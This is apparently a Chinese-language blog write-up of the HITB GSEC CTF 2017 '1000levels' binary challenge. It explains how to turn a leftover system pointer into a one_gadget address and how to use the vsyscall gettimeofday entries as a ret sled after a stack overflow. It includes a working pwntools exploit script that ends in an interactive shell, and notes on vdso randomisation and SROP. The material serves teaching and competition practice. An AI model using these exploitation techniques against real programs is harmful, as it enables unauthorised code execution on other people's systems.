HITB GSEC CTF 2017-1000levels

1.与之前BCTF 2017-100levels一模一样,只不过最大值变成了1000关,所以这里也同样可以用爆破来做,但是可以用另一种方法,vsyscall。

2.进入IDA可以看到有一个hint函数,而且里面有system函数,但是很奇怪:

1
2
3
#注释头

sprintf((char *)&v1, "Hint: %p\n", &system, &system);

这个代码没怎么看懂,还是看下汇编代码:

img

这里就是将system的地址赋值给rax,然后rax给栈上的[rbp+var_110]赋值。之后也没有什么其它的更改栈上[rbp+var_110]的操作,所以进入hint函数之后,一定会将system函数放到栈上,通过调试也可以看出来。

3.之后进入go函数,发现如果第一次输入负数,原本将关卡数赋值给[rbp+var_110]的操作就不会被执行,那么[rbp+var_110]上保存的仍然是system函数的地址。之后再输入关卡数,直接加到[rbp+var_110]上,那么如果第一次输入负数,第二次输入system函数和one_gadget的偏移,那么就变相将[rbp+var_110]上存放的内容保存为one_gadget的地址。

▲这里需要注意的是,[rbp+var_110]是在hint函数中被赋值的,而go函数中用到的也是[rbp+var_110]这个变量,但是不同函数栈肯定是不同的,所以这里两个[rbp+var_110]是不是一样的就值得思考一下。看程序可以发现,hint函数和go函数都是在main函数中调用的,那么如果调用的时候两处的rsp是一样的就可以保证两个函数的rbp一样,也就代码[rbp+var_110]也是一样的。查看汇编代码:

img

可以看到从读取选项数据之后,到判断语句一直没有push,pop之类的操作,也就是说程序无论是运行到hint函数还是go函数时,main函数栈的状态都是一样的,从而导致进入这两个函数中的栈底也都是同一个地址,那么[rbp+var_110]也就一样,所以用hint函数来为[rbp+var_110]赋值成system函数,再用go函数来为[rbp+var_110]赋值为one_gadget这条路是可以的,同样可以调试来确定一下。

4.那么赋值之后进入level关卡函数,由于递归关系,最后一关的栈是和go函数的栈连在一起的,所以可以通过最后一关的栈溢出抵达go函数的栈,从而抵达[rbp+var_110]这个地址处。

5.但是栈溢出只能修改数据,就算控制eip,但是也并不知道[rbp+var_110]处的真实地址,只能通过调试来知道偏移是多少。所以这里需要用的vsyscall来将rsp下挪到[rbp+var_110]处从而执行vsyscall的ret操作来执行[rbp+var_110]处的代码,也就是one_gadget。

6.这里看一下vsyscall处的数据:

img

▲vsyscall的特点:

(1)某些版本存在,需要用到gdb来查看,IDA中默认不可见。

(2)地址不受到ASLR和PIE的影响,固定是0xffffffffff600000-0xffffffffff601000。

(3)不能从中间进入,只能从函数开头进入,意味着不能直接调用里面的syscall。这里vsyscall分为三个函数,从上到下依次是

A.gettimeofday: 0xffffffffff600000

B.time: 0xffffffffff600400

C.getcpu: 0xffffffffff600800

(4)gettimeofday函数执行成功时返回值就是0,保存在rax寄存器中。这就为某些one_gadget创造了条件。

7.观察代码可以发现,三个函数执行成功之后相当于一个ret操作,所以如果我们将gettimeofday放在eip处,那么就相当于放了一个ret操作上去,而ret操作又相当于pop eip,那么就相当于直接将rsp往下拉了一个单位。如果我们多次调用gettimeofday,那么就可以将rsp下拉多个单位,从而抵达我们想要的地方来执行代码。那么这里就可以将eip改成gettimeofday,然后在之后添加多个gettimeofday来滑到one_gadget来执行代码。

8.所以现在就可以编写exp了

(1)前置内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

libc_system_offset = 0x432C0
#减去system函数离libc开头的偏移
one_gadget_offset = 0x43158
#加上one gadget rce离libc开头的偏移
vsyscall_gettimeofday = 0xffffffffff600000

io.recvuntil('Choice:')
io.sendline('2') #让system的地址进入栈中
io.recvuntil('Choice:')
io.sendline('1') #调用go()
io.recvuntil('How many levels?')
io.sendline('-1') #输入的值必须小于0,防止覆盖掉system的地址
io.recvuntil('Any more?')
io.sendline(str(one_gadget_offset-libc_system_offset))
#第二次输入关卡的时候输入偏移值,从而通过相加将system的地址变为one gadget rce的地址

这里由于相加关系,levels=system_addr + one_gadget_offset - libc_system_offset,肯定超过999,所以关卡数一定是1000关。

(2)开始循环答题,直至到达最后一关执行栈溢出:

1
2
3
4
5
6
7
8
9
10
#注释头

def answer():
io.recvuntil('Question: ')
answer = eval(io.recvuntil(' = ')[:-3])
io.recvuntil('Answer:')
io.sendline(str(answer))
for i in range(999): #循环答题
log.info(i)
answer()

(3)最后一关执行栈溢出,利用gettimeofday滑至one_gadegt从而getshell。

1
2
3
4
5
#注释头

io.recvuntil('Question: ')
io.send(b'a'*0x38 + p64(vsyscall_gettimeofday)*3)
io.interactive()

▲以下是测试[rbp+var_110]的数据:

main函数中的rbp: 00007FFD3A854900

hint函数中的rbp: 00007FFD3A8548C0

go函数中的rbp: 00007FFD3A8548C0

▲vsyscall用法:

vsyscall直接进行syscall,并没有利用栈空间,所以在处理栈溢出,但是由于PIE没有别的地址可以用时,而栈上又有某个有用的地址的时候,可以通过vsyscall构造一个rop链来ret,每次ret都会消耗掉一个地址,将rsp下拉一个单位,这样就可以逐渐去贴近想要的那个地址,最后成功ret到相应的位置。

▲vdso的特点:

(1)vdso的地址随机化的,且其中的指令可以任意执行,不需要从入口开始。

(2)相比于栈和其他的ASLR,vdso的随机化非常的弱,对于32的系统来说,有1/256的概率命中。

(3)不同的内核随机程度不同:

A.较旧版本:0xf76d9000-0xf77ce000

B.较新版本:0xf7ed0000-0xf7fd0000

C.其它版本:

可以编译以下文件之后用脚本查看:

1
2
3
4
5
6
7
8
9
10
11
12
//注释头

// compiled: gcc -g -m32 vdso_addr.c -o vdso_addr
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
printf("vdso addr: %124$p\n");//这里的偏移不同内核不一样,可调试一下看看。
return 0;
}

查看脚本:

#注释头

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python
# -*- coding:utf-8 -*-

import os

result = []
for i in range(100):
result += [os.popen('./vdso_addr').read()[:-1]]

result = sorted(result)

for v in result:
print (v)

▲vdso的用法:与vsystem类似,泄露出地址后相当于有了syscall。另外32位条件下有__kernel_rt_sigreturn,可以打SROP。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

https://xz.aliyun.com/t/5236